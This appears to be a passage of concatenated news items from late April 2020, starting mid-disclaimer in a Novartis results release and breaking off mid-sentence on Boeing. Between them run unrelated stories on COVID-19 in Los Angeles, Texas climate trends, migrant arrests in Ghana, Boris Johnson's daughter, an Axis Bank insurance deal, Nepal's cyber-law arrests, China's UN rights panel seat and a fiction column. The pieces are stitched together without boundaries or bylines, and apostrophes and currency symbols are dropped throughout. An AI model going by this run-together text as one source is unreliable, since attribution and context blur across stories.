safety, quality, data integrity, or manufacturing issues; uncertainties involved in the development or adoption of potentially transformational technologies and business models; uncertainties regarding actual or potential legal proceedings, including, among others, product liability litigation, disputes and litigation with business partners or business collaborators, government investigations generally, litigation and investigations regarding sales and marketing practices, and intellectual property disputes; our performance on environmental, social and governance measures; general political, economic and business conditions, including the effects of and efforts to mitigate pandemic diseases such as COVID-19; uncertainties regarding future global exchange rates; uncertainties regarding future demand for our products; and other risks and factors referred to in Novartis AG's current Form 20-F on file with the US Securities and Exchange Commission. Novartis is providing the information in this press release as of this date and does not undertake any obligation to update any forward-looking statements as a result of new information, future events or otherwise. All product names appearing in italics are trademarks owned by or licensed to Novartis Group companies. About Novartis Novartis is reimagining medicine to improve and extend people's lives. As a leading global medicines company, we use innovative science and digital technologies to create transformative treatments in areas of great medical need. In our quest to find new medicines, we consistently rank among the world's top companies investing in research and development. Novartis products reach nearly 800 million people globally and we are finding innovative ways to expand access to our latest treatments. About 109,000 people of more than 145 nationalities work at Novartis around the world. Find out more at https://www.novartis.com (https://www.novartis.com). Novartis will conduct a conference call with investors to discuss this news release today at 13:00 Central European time and 7:00 Eastern Time. A simultaneous webcast of the call for investors and other interested parties may be accessed by visiting the Novartis website. A replay will be available after the live webcast by visiting. https://www.novartis.com/investors/event-calendar (https://www.novartis.com/investors/event-calendar) Detailed financial results accompanying this press release are included in the condensed interim financial report at the link below. Additional information is provided on Novartis divisions and pipeline of selected compounds in late stage development and a copy of today's earnings call presentation can be found at. https://www.novartis.com/investors/event-calendar (https://www.novartis.com/investors/event-calendar) Important dates July 21, 2020 Second quarter results 2020 October 27, 2020 Third quarter results 2020 Please find full media release in English attached and on the following link: Media release (PDF) (http://ml-eu.globenewswire.com/Resource/Download/5018a61b-5d2c-4e0f-88f0-110f55c910a3) Further language versions are available through the following links: German version is available through the following link: Medienmitteilung (PDF) (http://ml-eu.globenewswire.com/Resource/Download/eb9f4fa0-3d34-4ddf-abf2-1bb8f4a7b324) French version is available through the following link: Communique aux medias (PDF) (http://ml-eu.globenewswire.com/Resource/Download/c8ec474e-6584-432a-877f-90240c909310) 1 Refers to continuing operations as defined on page 33 of the Condensed Interim Financial Report, excludes Alcon, includes the businesses of Innovative Medicines and Sandoz, as well as the continuing corporate functions. 2 Constant currencies (cc), core results and free cash flow are non-IFRS measures. An explanation of non-IFRS measures can be found on page 43 of the Condensed Interim Financial Report. Unless otherwise noted, all growth rates in this Release refer to same period in prior year. 3 We provide these management estimates based on the best data available to Novartis, as we believe this information is helpful to our investors to better understand Q1 underlying business performance. 4 Please see detailed guidance assumptions on page 6 including the forecast assumptions of a return to normal prescription and consumption dynamics during Q2 in our major markets and no Gilenya and no Sandostatin LAR generics enter in 2020 in the US. 5 Continuing operations include the businesses of Innovative Medicines and Sandoz Division including the US generic oral solids and dermatology portfolio as well as the continuing corporate functions and discontinued operations include the business of Alcon. See page 33 of the Condensed Interim Financial Report for full explanation. 6 Constant currencies (cc), core results and free cash flow are non-IFRS measures. An explanation of non-IFRS measures can be found on page 43 of the Condensed Interim Financial Report. Unless otherwise noted, all growth rates in this Release refer to same period in prior year. Emergency room entrance to Ronald Reagan UCLA Medical Center. (Robert Gauthier / Los Angeles Times) The coronavirus is on the decline in many parts of California but continues to spread in Los Angeles County, sparking new debate about whether officials will need to begin easing stay-at-home restrictions in certain sections of the state while giving harder-hit regions time to flatten the curve. The state's epidemiological map is starting to reflect the adage that California is many states in one. Nineteen counties from Humboldt to Tuolumne have recorded no fatalities from the virus. And even moderately populated counties such as Fresno and Monterey are holding single-digit death tolls. But Los Angeles County has had 944 people die from COVID-19, with 315 passing away last week alone. Even adjusted for its larger population, its rate of 9.3 deaths per 100,000 people is 58% higher than the next hardest hit urban county, Riverside, and 72% higher than the epicenter of the Bay Area, Santa Clara County, according to a Times analysis of coronavirus data. Half of all hospitalized coronavirus patients in California are being treated in Los Angeles County, which is home to a quarter of the state's population, the analysis found. Though a peak in deaths will usually lag behind the peak in infections by one to three weeks, it's hard to tell whether Los Angeles County has bent the curve on the virus' spread. There were 7,218 confirmed new cases for the seven-day period that ended Sunday, compared with 3,152 the previous week. But inconsistent testing and backlogs at laboratories often make those numbers unreliable. Another key measure of infection, the number of hospitalizations, remained relatively stable last week, neither rising nor falling. The differing situations across the state are causing some local officials to chafe under Gov. Gavin Newsom's blanket stay-at-home order, while others are pushing to prolong it. Officials in parts of the Central Coast, Central Valley and far Northern California, where the coronavirus appears more under control, want to reopen their economy and have asked Newsom to work with them to phase out their shelter-at-home order. Story continues Some have proposed a slow reopening of such places as restaurants and churches, with a continued focus on social distancing and the use of face coverings. The stark differences in the how the coronavirus has affected various parts of California has become a vexing issue as talk turns to easing the restrictions. Officials in the six counties in the north Butte, Glenn, Tehama, Yuba, Sutter and Colusa noted that as of Friday the region had only one COVID-19 patient in intensive care. San Luis Obispo County, another place hoping to reopen, has recorded just one death. Newsom has acknowledged these differences, saying local conditions will be taken into account when considering decisions to ease restrictions. We will consider those things not only from the perspective of the spread of the virus, not only from the perspective of the number of deaths and trend lines, but also in terms of our broader capacity, he said. But many urban counties, including Los Angeles, remain concerned that reopening too soon could cause new outbreaks and end up hurting the economy more in the long run. Six San Francisco Bay Area counties hit hard by COVID-19 announced on Monday that they plan to largely retain shelter-in-place orders through the month of May. Prematurely lifting restrictions could easily lead to a large surge in cases, said a statement by health officers for Alameda, Contra Costa, Marin, San Francisco, San Mateo and Santa Clara counties, as well as the city of Berkeley, which has its own health department. They said they were planning to ease some of the restrictions, but did not specify which. Los Angeles Mayor Eric Garcetti, who has also expressed concern about reopening too early, struck an optimistic note Monday. He said social distancing measures were proving effective, the curve really is beginning to flatten, and even suggested that easing restrictions under the citys safer-at-home order could be weeks away. Los Angeles County's stay-at-home order lasts until May 15. Barbara Ferrer, the county's director of public health, said officials are hopeful that coronavirus deaths and overall case counts will begin to decrease by mid-May. We are going to be driven by our experiences increase our capacity to test, identity people who are positive and then do contact tracing, she said. I think as we put those systems in place, we can be at the point where we can relax. A significant factor in the high number of deaths in Los Angeles County is the virus running through numerous assisted living facilities, where elderly patients are extremely vulnerable to the disease. Medical troops with Californias National Guard have been deployed to assist staff at a handful of nursing homes. As of Monday, 45% of all coronavirus deaths in L.A. County have been linked to congregate living facilities, largely in nursing homes. Of the 29 deaths Ferrer reported on Monday, 11 were healthcare workers. And of all the people who have died during the pandemic, she said, 92% had underlying health issues. Bad as the numbers are, Los Angeles County is nowhere near New York City, which has suffered 11,708 deaths a rate of 139 per 100,000 people. Places such as New Orleans, Boston and Detroit also have death rates many times higher than Los Angeles County. Dr. Grant Colfax, the director of public health in San Francisco, said one of the key metrics he looks at is whether theres a sustained decline in the number of people hospitalized. Im talking about significant reductions over a period of two weeks, Colfax said. The incubation period of the coronavirus is believed to be from two to 14 days. For now, the number of hospitalizations has remained roughly flat, and Colfax said he would be looking over the next two to four weeks to see a decline in hospitalization numbers. San Francisco Mayor London Breed said she understood it would be challenging to endure another month of staying at home as much as possible. It has already been very difficult, Im sure for many of you, especially kids who cannot play with their friends or a lot of the seniors who are graduating high school. The kids who want to go to the parks. Not being able to see your grandma or grandpa, Breed said Monday. But she warned again of not repeating the mistakes San Francisco made during the 1918 Spanish flu pandemic in lifting restrictions too soon, leading to a second deadly wave of flu cases. Folks threw off their masks and went out into the streets and partied and had a good time," she said. "And a few days later, we were even worse off than when we started." Newsom said he expected to announce modifications to the stay-at-home order within a matter of weeks, while chastising people who flocked to the beaches in Ventura and Orange counties over the weekend. This virus doesnt take the weekends off, Newsom said during his daily COVID-19 briefing in Sacramento. The only thing that will set us back is people stopping to practice physical distancing and appropriate social distancing. Thats the only thing thats going to slow down our ability to reopen this economy. Times staff writers Luke Money, Alexandra Wigglesworth and Phil Willon contributed to this report. Data makes hard conversations easier, and few conversations have been as difficult as the one around climate. It was important to us as Texas state climatologist and the CEO of a nonprofit organization focused on Texas future to bring a new lens to this issue. We wanted to take a data-driven look at extreme weather trends to get insight into the future that Texans need to prepare for. The data shows Texas climate has been changing. Thats the conclusion of a scientific report by Texas A&M University researchers, funded in part by Texas 2036, that observed and analyzed historical meteorological and climate data for Texas. If, as expected, current trends continue, our changing climate will pose more challenges to Texans living here in 2036 the year Texas turns 200 than today in many ways: The number of 100-degree days will double over the next couple of decades. The expected average temperature in 2036 will be about 3 degrees Fahrenheit warmer than the average during the last half of the last century. By 2036, extreme rainfall is expected to be 30 percent to 50 percent more frequent than the 1950-1999 average, causing more flooding, especially in Houston and other Texas cities where impervious surfaces increase rainwater runoff intensity. Higher temperatures and increased rainfall variability will cause more intense droughts. For some parts of the Texas coast, the storm surge risk may double by 2050 due to sea level rise and more intense hurricanes. The data, which is consistent with data produced by climate prediction models widely used by scientists, shows as Texas prepares to add 10 million more people by 2036 and build an economy with 7 million to 8 million more jobs, Texas policymakers and business leaders need to prepare for a future that looks different from the past. Big cities need to prepare for more frequent episodes of extreme rainfall and flooding, as Houston is doing through its recently released Resilient Houston plan. Rural communities in West Texas should plan for more intense droughts. Our state needs to leverage this data and our innovation, talent and leadership to strategically plan for what a changing climate will mean for our water supply, infrastructure and economy. Given the long-term horizon of 2036, our economy can help position us for the future as we rethink everything from growing crops to creating resilient infrastructure to pre-empting new government budget problems. At the same time, we can harness the states vast leadership and expertise to slow or even reverse these trends. Yes, Texas leads the nation in carbon emissions largely because we have played such a vital role in supplying energy to the nation and the world. But we are also the worlds epicenter of energy innovation. Already, business leaders across our state are thinking comprehensively about economically productive ways to position Texas for a low-carbon future. As the president and CEO of the Federal Reserve Bank of Dallas, Rob Kaplan, told the Houston Chronicle recently: Its unusual to find a company that is not thinking about (the energy transition). Its happening faster than people think. In recent years, Texas has experienced the worst one-year drought of record, its wettest year, its costliest hurricane and its highest storm rainfall total. To extend its prosperity, Texas has both the responsibility to prepare for extreme weather and the opportunity to lead on innovations that the world needs to address coming climate challenges. John Nielsen-Gammon is a Regents Professor at Texas A&M University; he was named state climatologist by then-Gov. George W. Bush in 2000. Margaret Spellings is president and CEO of Texas 2036; she also served as U.S. secretary of education for President George W. Bush. Three Burkinabes who entered Ghana illegally have been arrested at Babile in the Upper West Region. The three men were busted en route to Techiman to seek jobs with other Ghanaian nationals. Their ages range between 35 and 39 years. They are reported to have used unapproved routes to enter Ghana. A few weeks ago, 20 Burkina Faso nationals were also arrested for entering the country without approval. The 20 were busted at Tumo-Dakpla junction in the Lawra Municipality en route Wa in the early hours of Wednesday, April 15, 2020. President Nana Akufo Addo has already promised to deal with foreigners who enter Ghana illegally. He warned that not only will persons who enter our country illegally be strictly dealt with, but so will Ghanaians who facilitate their entry. These are unpatriotic acts and must stop. We cannot continue to allow a few persons, who are motivated by their own selfish, money-making interests, to endanger the lives of the rest of the population. The President had earlier closed the country's borders indefinitely as part of measures to fight the Coronavirus. ---citinewsroom Boris Johsnon's daughter admitted she is unsure about the impact the coronavirus pandemic will have on her 'future financial prospects' in an article for British Vogue. Lara Johnson-Wheeler, the eldest of the Prime Minister's four children with his second wife, Marina Wheeler, admitted she is holding off on buying new clothes because she is uncertain about how the COVID-19 crisis will impact her finances. However she has treated herself to luxury designer headbands from Prada and Shrimps, which are thought to have cost between 100-200 each. The 27-year-old, who has followed in her father's footsteps and is forging a career as a writer and editor, is in lockdown with her boyfriend at her family's country home in Thame, Oxfordshire, which has an estimated value of 1million. Lara Johnson-Wheeler, left, the eldest of the Prime Minister's four children with his second wife, Marina Wheeler (right together in 2012), admitted she is holding off on buying new clothes because she is uncertain about how the COVID-19 crisis will impact her finances Mr Johnson and Ms Wheeler, who announced their separation in 2018 and finalised their divorce in February this year, also owned an Islington townhouse thought to be worth at least 4million. Mr Johnson's fiancee Carrie Symonds is pregnant with his fifth child. Writing for the fashion bible, Lara explained she has resorted to delving into her teenage wardrobe after failing to pack enough clothes. Here, in an extract from the article that appears in full on the Vogue website, Lara reflects how clothes hold the power to transport you to a different time and place - and help shape the person you present to the world. Lara is in lockdown with her boyfriend at her family's country home in Thame, Oxfordshire, which has an estimated value of 1million. Pictured, with mother Marina Like many others, Ive been in isolation since March, and have been staying at my childhood home. I wasnt prepared for the lockdown; my boyfriend and I thought we were heading to Oxfordshire for the weekend. But no, its been 44 days and we only brought two jumpers, a dress, a skirt and a pair of trackies between us. I wont even tell you how many pairs of underwear we packed. Delving into fusty boxes of unsorted teen clothes was a necessity by week two. Rummaging past fishnet sleeve Punkyfish tops, a Tammy Girl jumper and multiple American Apparel leotards in a cacophony of colour, memories hit. Im trying my best not to buy more clothes right now, uncertain about future financial prospects and conscious it isn't the time to splurge. But, I must confess, I did buy two headbands one black and fluffy, from Shrimps, and one pink and from Prada that Ive been drooling over for months. Im allotting these spending choices as self-care; I needed something to remind myself that sometimes, in the midst of all this uncertainty, it's ok to use fashion to remind myself who I am today. Like everyone else, I cant wait for this pandemic to be over. I cant wait to be reunited with my pre-lockdown wardrobe. But more importantly, I cant wait to be reunited with the people who helped make all the memories the clothes Im currently wearing have imbued. CANTON, Pa. (AP) A partial roof collapse at a nursing home in western Pennsylvania has injured four residents. But officials say none of the injuries appeared to be serious. The collapse was reported late Monday at The Grove at Washington in Canton. The four men were initially trapped inside a room in the single-story facility, including one was knocked from his bed to the floor during the incident. But a fire official says that helped the man because the ceiling came down across the bed and a little stand instead of landing on top of him. Its not yet known what caused the collapse. READ MORE: Driver of Bible school bus cant escape conviction for abandoning teens in the middle of nowhere JetBlue is first airline to require passengers to wear masks because of coronavirus: reports Missing Pa. musician found shot to death inside cemetery crypt, along with another body Share this article Whatsapp Facebook Twitter Linkedin Mardika Parama (The Jakarta Post) Jakarta Tue, April 28, 2020 08:12 625 fc6853813033f564188675f8bd491b6b 1 Business Athlete-village,Sulianti-Saroso-Hospital,Indonesia,Astra-International,donation,CSR,COVID-19,ventilator,Gatot-Subroto-Army-Hospital Free Diversified conglomerate PT Astra International Tbk donated 30 ventilators worth Rp 13 billion (US$836,000) to three hospitals treating COVID-19 patients in Jakarta on Monday. Fifteen ventilators were donated to the Gatot Subroto Army Hospital (RSPAD), while 10 were given to the COVID-19 hospital at the Kemayoran athletes village complex in Central Jakarta and five were given to the Sulianti Saroso Infectious Diseases Hospital, the companys spokesman Boy Kelana Soebroto told journalists in a virtual press conference. Astra through its CSR program Nurani Astra [Astras conscience] donated the third aid package today to help prevent the spread of COVID-19 in the form of 30 ventilators, he said. In total, Astra has donated three aid packages worth around Rp 106 billion since the COVID-19 pandemic began, according to Boy. The companys previous aid packages included 100 vans and 10 trucks that were given to the Indonesian Red Cross (PMI). RSPADs deputy head Brig. Gen. dr. Albertus Budi Sulistya, who also joined the press conference to receive the aid package, said the hospital had seen a slight decrease in COVID-19 patient admittance, even though the number of cases was still rising. We have seen a slight decrease recently, as our [COVID-19] dedicated bed occupancy ratio (BOR) has dropped to 62.5 percent from 66 percent previously, he said. He added that the number of patients under surveillance (PDP) who were in the late stage of pregnancy was also increasing, which required the hospital to follow additional precautions. We have to follow special precautions for cases who are about to give birth, he said. Indonesia recorded 275 new confirmed COVID-19 cases on Sunday, which brought the total number of confirmed cases to 8,882, according to Achmad Yurianto, the spokesman for the government's COVID-19 task force. Speaking at a press conference on Sunday, Yurianto said that 23 more people had died due to the disease, bringing the death toll to 743 people. New Delhi The Delhi Police Tuesday visited the Jamia Millia Islamia campus and inspected one of its offices within the university as parts of its probe into the recent Northeast Delhi riots. Though no senior police officer, authorised to speak to the media, was available for a response, HT has learnt from university officials that police visited the office of the Old Boys Association inside the university campus. The office is also called the Alumni Association Office of Jamia Millia Islamia. A university official who did not wish to be named said that a team of five special cell officers reached the office in the afternoon and inspected documents inside the office. Police seized documents related to the alleged mobilisation of different groups and violence during the North East Delhi riots in February. On Sunday, police had arrested the president of Jamia Millia Islamia Alumni Association under the stringent UAPA in connection with the riots in Northeast Delhi in February. Police said Shifa-Ur-Rehman, who is also a member of Jamia Coordination Committee, was booked under the Unlawful Activities (Prevention) Act (UAPA). At least 50 persons died in clashes between Hindu and Muslim residents in different parts of North East Delhi. The clashes started after a clash between protesters and supporters of the Anti Citizenship Amendment Act snowballed into riots across parts of NE Delhi SHARE THIS ARTICLE ON by Fady Noun The Middle East Council of Churches and the UNHCR want in particular to reawaken the global moral conscience" of the various parties involved in the fight against the pandemic. Beirut (AsiaNews) The Middle East Council of Churches (MECC), which is based in Beirut, and the United Nations High Commissioner for refugees (UNHCR) have issued a call for solidarity and social action for refugees and displaced communities. The appeal is co-signed by the Issam Fares Institut for Public Policy and International Affairs at the American University in Beirut, and the Adyan Foundation, which is committed to interfaith dialogue and the development of the concept of citizenship inclusive of diversity" in Lebanon and the Arab world. The appeal is aimed in particular at reawakening the global moral conscience" of the various parties involved in the fight against the pandemic, Adyan founder Fr Fadi Daou, told AsiaNews. And this is directly tied to Pope Franciss vision of on social responsibility of religions and to the need to provide a shared response to the great problems faced by countries and societies. This appeal, he added, is inspired by the fear of the virus spreading and the fear that displaced and refugee communities will be blamed. Notably, such communities are less protected than others; and, we know that since time immemorial, public opinion and the authorities have been tempted sometimes to blame misfortunes on certain communities or individuals who thus serve as scapegoats. Thus, This appeal, whose primary aim is to awaken societies and remind civil and religious authorities of their responsibilities in the fight against the pandemic, has in some way a preventive social dimension. In fact, it goes on to say that "our solidarity is crucial" in the fight against the pandemic, since everyone, citizens and non-citizens, including refugees share a collective responsibility to combat the coronavirus pandemic in the interest of our common public health. Lastly, with the same commitment that is uniting us in our fight, we have to ensure that the same deep fear is not exploited to cultivate the phobia of others, any other, either close to or far from us, including those who are living as forcibly displaced in our community; such exploitation and negative narrative would undermine our mutually reinforcing unity, thus increasing the risks of social exclusion. PHOTO: courtesy MECC India on Tuesday rejected the observations of the US Commission for International Religious Freedom's (USCIRF) calling India country of particular concern, adding that the view is "biased and tendentious". The commission is mandated to monitor religious freedom globally and it asked the US State Department to designate 14 nations, including India, in the category alleging that religious minorities are under increasing assault in these nations. External Affairs Ministry Spokesperson Anurag Srivastava said in a statement, "We reject the observations on India in the USCIRF Annual Report. Its biased and tendentious comments against India are not new. But on this occasion, its misrepresentation has reached new levels. It has not been able to carry its own Commissioners in its endeavour. We regard it as an organization of particular concern and will treat it accordingly." In its annual report released on Tuesday, the USCRF said that 14 nations include nine countries that the State Department designated as CPCs in December 2019 - Myanmar, China, Eritrea, Iran, North Korea, Pakistan, Saudi Arabia, Tajikistan, and Turkmenistan - as well as five others - India, Nigeria, Russia, Syria, and Vietnam. In the 2020 edition of its annual report on International Religious Freedom, the USCIRF alleged that in 2019, religious freedom conditions in India experienced a drastic turn downward. However, two of the nine members have expressed their dissent over the USCIRF recommendation to place India in the CPC. And a third member also expressed his personal view on India. "I must dissent from the decision of my fellow Commissioners to recommend India, the world's largest democracy, for designation as a 'country of particular concern', or CPC, placing India in a gallery of rogue nations in which it does not belong," Commissioner Gary L Bauer wrote in his dissent note. "India does not belong to the same category as authoritarian regimes like China and North Korea. India is the largest democratic nation in the world, where the CAA has been challenged openly by the opposition Congress Party and lawmakers, civil society, and various groups," said Commissioner Tenzin Dorjee. Mumbai, April 28 : The country's third-largest private banker Axis Bank is set to pick up 30 per cent stake in Max Life in a stock deal for an undisclosed amount. The bank has signed a definitive agreement with Max Financial Services Limited (MFS), the majority shareholder in Max Life, to increase its stake and become a joint venture partner in the insurer. Post the completion of the series of transactions, Max Life will become a 70:30 joint venture between MFS and Axis Bank. The proposed transactions are subject to approval of requisite corporate and regulatory authorities (including IRDAI, RBI and CCI), a company statement said. The development will result in a mutually beneficial and enduring relationship between Axis Bank and Max Life and bring the stability of a long-term partnership to India's fourth-largest private life insurance franchise. The joint venture arrangement will significantly improve Max Life's competitive position vis-a-vis its competitors, including the other large bank-owned private life insurers, the statement added. The Boards of Axis Bank, MFS and Max Life approved the transaction late on April 27, though the deal was under discussion since the three companies signed a confidentiality and exclusivity arrangement on February 20, 2020 to explore the possibility of a long-term strategic partnership between Axis Bank and Max Life. Max Financial Services presently holds a 72.5% stake in Max Life while Mitsui Sumitomo Insurance (MSI) owns 25.5% stake. Axis Bank also has a minor stake in the life insurer. The aforesaid transaction with Axis Bank follows the ongoing swapping by MSI of 20.6% stake it holds in Max Life with a 21.9% stake in MFS. MFS also plans to purchase MSI's balance stake in Max Life. Post the completion of the deal, Max Life's tagline will include Axis Bank's name. Axis Bank is the third-largest private bank and Max Life is the fourth-largest private life insurer in India. The two companies have had a successful business relationship for over a decade, providing long-term saving and protection products to over 19 lakh customers. The total premium generated through this relationship has aggregated to over Rs 38,000 crore. Announcing the transaction, Amitabh Chaudhry, MD and CEO, Axis Bank, said: "We believe this transaction will allow us to deepen our working relationship, leading to better integrated teams and infrastructure and a superior alignment in our approach." Analjit Singh, Founder and Chairman, Max Group, said: "We at Max Group have had a long-standing record of successful joint ventures. We achieve this by choosing partners with complementary skills, a matching belief system and a shared vision for the future of the business. I believe that in Axis, we have found an exceptional partner and we have the conviction that this will make Max Life fundamentally stronger, better performing and will bring stability to the franchise." A total of 93 people have been arrested for violating Nepal's cyber law in the last six months and over 20 among them were apprehended for posting critical comments against President Bidya Devi Bhandari and Prime Minister KP Sharma Oli on social media, police said on Tuesday. The action comes as the police administration has become tough against those criticising the top government officials on any of the social media sites such as Facebook and Twitter under the country's cyber crime law. "The police have detained 93 people under cyber crime within the past six months and over 20 for posting critical comments against the country's President and Prime Minister," police said. Those posting anti-government comments in Facebook, Twitter and other social media could be penalised up to Rs 100,000 and 5-year imprisonment under the prevailing law. Recently, former government secretary Bhim Prasad Upadhyaya was arrested for criticising Prime Minister Oli on social media. However, he was released five days later after paying Rs 25,000 as bail amount. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Former top advisers to Senator Bernie Sanders are teaming up on a surprising new venture to try to rally progressive support for former Vice President Joseph R. Biden Jr.s 2020 campaign: a super PAC. Jeff Weaver, who served as Mr. Sanderss campaign manager in 2016 and as a top adviser in 2020, is leading the effort, which will focus on mobilizing the base of Sanders supporters young people, liberals Latinos and blue-collar progressives for Mr. Biden. Other top Sanders officials from the 2020 race who will be involved include Chuck Rocha, a senior adviser who focused on Latino outreach, Tim Tagaris, who oversaw digital strategy and fund-raising, and Shelli Jackson, a California strategist for the campaign. Mark Longabaugh, who worked for Mr. Sanders in 2016 but left the 2020 campaign early on, is also part of the new group. Mr. Sanders has railed for years against super PACs, which can accepted unlimited donations, emphasizing his reliance on millions of small contributions from supporters online to fuel his two presidential bids. U.N. Secretary-General Antonio Guterres is seen on a giant screen addressing at the opening of the UN Human Rights Council's main annual session on Feb. 24, 2020 in Geneva. (Fabrice Coffrini/AFP via Getty Images) Fox Guarding the Henhouse: Chinas Appointment to UN Human Rights Panel Draws Mounting Opposition A growing chorus of officials and activists are calling on the United Nations to reverse the appointment of Chinaone of the worlds worst human rights abusersto a seat on a U.N. Human Rights Council (UNHRC) panel. Chinese diplomat Jiang Duans recent appointment to the five-member UNHRC Consultative Group was akin to the fox guarding the henhouse, except that pales as an illustration of what is taking place here, said Tony Perkins, chairman of the U.S. Commission on International Religious Freedom. Chinas appointment to the panel, which vets candidates for the councils independent rights experts, means it will have the power to influence the investigation of human rights issues around the world. Perkins told The Epoch Times American Thought Leaders program that the U.S. commission has spoken out against this development. And quite frankly, any country that cares about human rights should be speaking out about that and doing everything they can to prevent it from occurring, he added. The commission joins calls by U.S. senators, rights lawyers, and more than 100 organizations that are protesting the move. Earlier in April, an independent tribunal that investigated the Chinese regimes forced organ harvesting from prisoners of conscience wrote to U.N. Secretary-General Antonio Guterres, urging him to investigate the appointment. After a year-long investigation, the tribunal in June 2019 declared China a criminal state after determining that the regime killed prisoners of consciencemainly Falun Gong practitionersfor their organs to be sold on the transplant market. The tribunal concluded that the organ harvesting had taken place for years on a substantial scale, and persists today. The letter from the tribunals chairman, Sir Geoffrey Nice, and other members, warned that allowing Beijing a role on the panel means the U.N. would be sleepwalking into complicity with Beijings human rights abuses. The tribunal added that it had grave concerns that the great institutions of the world, including the U.N., were unwilling to confront the regime on its extreme human rights abuses relating to forced organ harvesting. The letter describes Chinas forced organ harvesting as comparable, victim for victim and death for death, to the worst atrocities committed in conflicts of the 20th century. The gassing of a Jew by the Nazis, the murder or butchery of an innocent by the Khmer Rouge or by Rwanda Hutus may not be worse than having a heart, liver or other organsand the very soulcut from a living, blameless, harmless, peaceable person, the letter stated, quoting the tribunals judgment. A spokesperson for the UNHRC told The Epoch Times that members of the Consultative Group serve in a personal capacity, and that the group does not have any influence over, nor can they facilitate discussions on what issues are addressed by the Human Rights Council. The U.N. Secretary Generals office didnt immediately respond to a request by The Epoch Times for comment. Several U.S. senators, including John Cornyn (R-Texas) and Marco Rubio (R-Fla.), also wrote to Guterres, condemning the U.N. appointment. The Chinese governments decision to deceive the international community about the grave dangers of the initial 2019 novel coronavirus (COVID-19) outbreak in Wuhan, China, violates any credibility on human rights and should disqualify them from a position on the Human Rights Council Consultative Group, they wrote. Eva Fu contributed to this report. In a new column, 'Category Error', Amruta Patil marries news-triggered observation with fiction, history, philosophy, against the backdrop of an Indian high rise. Read more from the series here. *** 1 | Efficiency of Fascists and Fundamentalists Two men captured the imagination of the family in A502, Atlantic Co Operative Housing Society: their True Guru, and leader of the nation. The dentist couple, both 60 years old, marvelled at how some people revealed themselves to be pillars of fortitude and certitude in times of crisis. The analogies flying around in all discourse were metallic: steely resolve, iron-fisted leadership. The youth wing of a religion-based political party was the first to set up a temporary booth to distribute milk and essentials in the parking lot of Atlantis Co Operative Housing Society. Full of gratitude and admiration for their dynamism, dentist-the-wife pleaded with their contrarian, left-liberal daughter to reconsider her harsh stance against the ruling party and be more patriotic in times of a pandemic. Fascists and fundamentalists are always efficient! bellowed their daughter from behind closed doors. They think like militia and they act like militia. Thank god the majority doesnt have German efficiency. We may well be saved by our cavalier sloppiness. Quoting an anonymous WhatsApp Good Morning meme that paraphrased a lineup of men he had never heard of including John Adams, Georges Clemenceau and a mid-19th century French prime minister named Francois Guizot dentist-the-husband reassured his wife in unctuous tones: 2 | The Gamble It isnt everyday that you match online with a man who brings into your life both frisson and belly laugh. At the brink of a love affair that is all-potential but hasnt had ground-time, does one let fate play its course, or step in to assert, to gamble? The lean, sharp man from apartment B603, who had never felt anything like this before, chose to assert and gamble. The international size suitcase was snug, but the lean man managed to smuggle his new flame a foreigner, white into Atlantis Co Operative Housing Society. A minute away from their mission being accomplished, while they waited for the lift to arrive, his cargo gave itself away by shaking. They were apprehended by the guards in the lobby. The enemies of amour ever multiply. The lean mans friend, hiking his tee shirt up to cover his nose and mouth, walked five kilometres back to a hotel that would soon close down. 3 | Atithi She had meant to spend a night-and-a-half here on her way to boarding a Chicago-bound flight back to University, but the Liberal Arts Masters student found herself a bona fide atithi in her friends retired parents apartment B201. It was a sejour with no end in sight. The word guest is tied to Old English gst which means an accidental guest, a stranger. The Sanskrit/Hindi word atithi, on the other hand, is etymologically amazing in the way it places the hard work on host not guest: it means (someone with) no fixed date of arrival or departure. A hosts house, the word implies, must keep doors and granaries open indefinitely for the person who has shown up. This sort of a thing is best accomplished in living arrangements that were porous, cushioned by the multitudes houses with their own fields and milch cattle, joint families where the weight of hospitality didnt fall squarely onto one set of shoulders or two, epochs when cost of living was not forbidding. Not two-bedroom urban apartments. Every morning, the Liberal Arts student flew awake at 5:30 am something she would never do in her dorm or her parents home acutely aware that neither bed nor indolence was hers to claim rightfully. Every afternoon, she offered to pay for groceries or a Swiggy meal, only to have the offer laughingly declined. Every evening, she slept overcome at the goodwill on offer from people she only had cursory interest in until a few days ago. Every night, she realised the only thing to do when it comes to no-strings-attached generosity, is to pay it forward, not pay it back. *** Writer-painter Amruta Patil is the author of graphic novels Kari, Adi Parva: Churning of the Ocean, Sauptik: Blood and Flowers, and Aranyaka: Book of the Forest. On Instagram: @amruta_gauri The event, which is an integral part of the cultural scene in Luxembourg, is one of many to be postponed due to the ongoing health crisis. According to a statement released by the organisers of the Luxembourg Film Awards on Monday, the 9th edition of the event, which was initially scheduled to take place in October, has been cancelled because of the corona crisis. The next edition is now planned for 2021. The next meeting of the Film Fund Luxembourg, which was originally scheduled for the end of summer, has also been postponed to a later date. Photo: Burnaby Now Royal Columbian Hospital Charges have been laid in connection with the theft of items from a New Westminster hospital nurse. On April 14 at approximately 2:45 a.m., the New Westminster Police Department responded to a report of a theft from Royal Columbian Hospital that occurred between 9:40 p.m. and 12:30 a.m. A female, described as being 20 to 30 years old, entered the hospital and changed into hospital scrubs, said police, and then entered into a staff area, allegedly broke into an on-duty nurses locker and stole a wallet containing cash, credit cards, and other cards. The suspect female left the hospital, and allegedly used one of the stolen credit cards at a nearby business. New Westminster Police investigators reviewed video surveillance and were able to identify the suspect. Once the suspect was identified, charges were recommended to crown counsel, as the suspect was already in custody for unrelated offences. On Monday, 19-year-old Surrey residence Taylor Minion was charged with the following offences: Break and Enter, section 348(1)(a) of the Criminal Code, Theft under $5000, section 334(b) of the Criminal Code, Use of credit card obtained in the commission of an offence, section 342(1)(c) of the Criminal Code, and Fraud under $5000, section 380(1)(b) of the Criminal Code. It is upsetting that someone would allegedly steal from health care staff, especially while they are at work in a hospital, stated Sergeant Jeff Scott, in a statement. Were working with hospital staff and security to help ensure that this is doesnt happen again. In Sydney's south-west, demand for food from families struggling to stay afloat during the pandemic has skyrocketed. It is the same story across Sydney and nationwide. "At the moment, it is food, food, food," said Sharon Ward, the coordinator of Liverpool's Heckenberg Connections centre which since the pandemic has been distributing over 1000 kilograms of donated potatoes, cereal, milk, canned goods and meat to families per week. The food bank could only keep operating thanks to a $10,000 emergency relief grant from Be Kind Sydney, a charity created by the Sydney Community Foundation and the Sydney Women's Fund in response to the pandemic. It has launched a $1 million Be Kind Sydney COVID-19 appeal asking Sydneysiders to give anything to keep the lights on at neighbourhood charities as other sources of income and donations fall. Boeing is trying to bring its 737 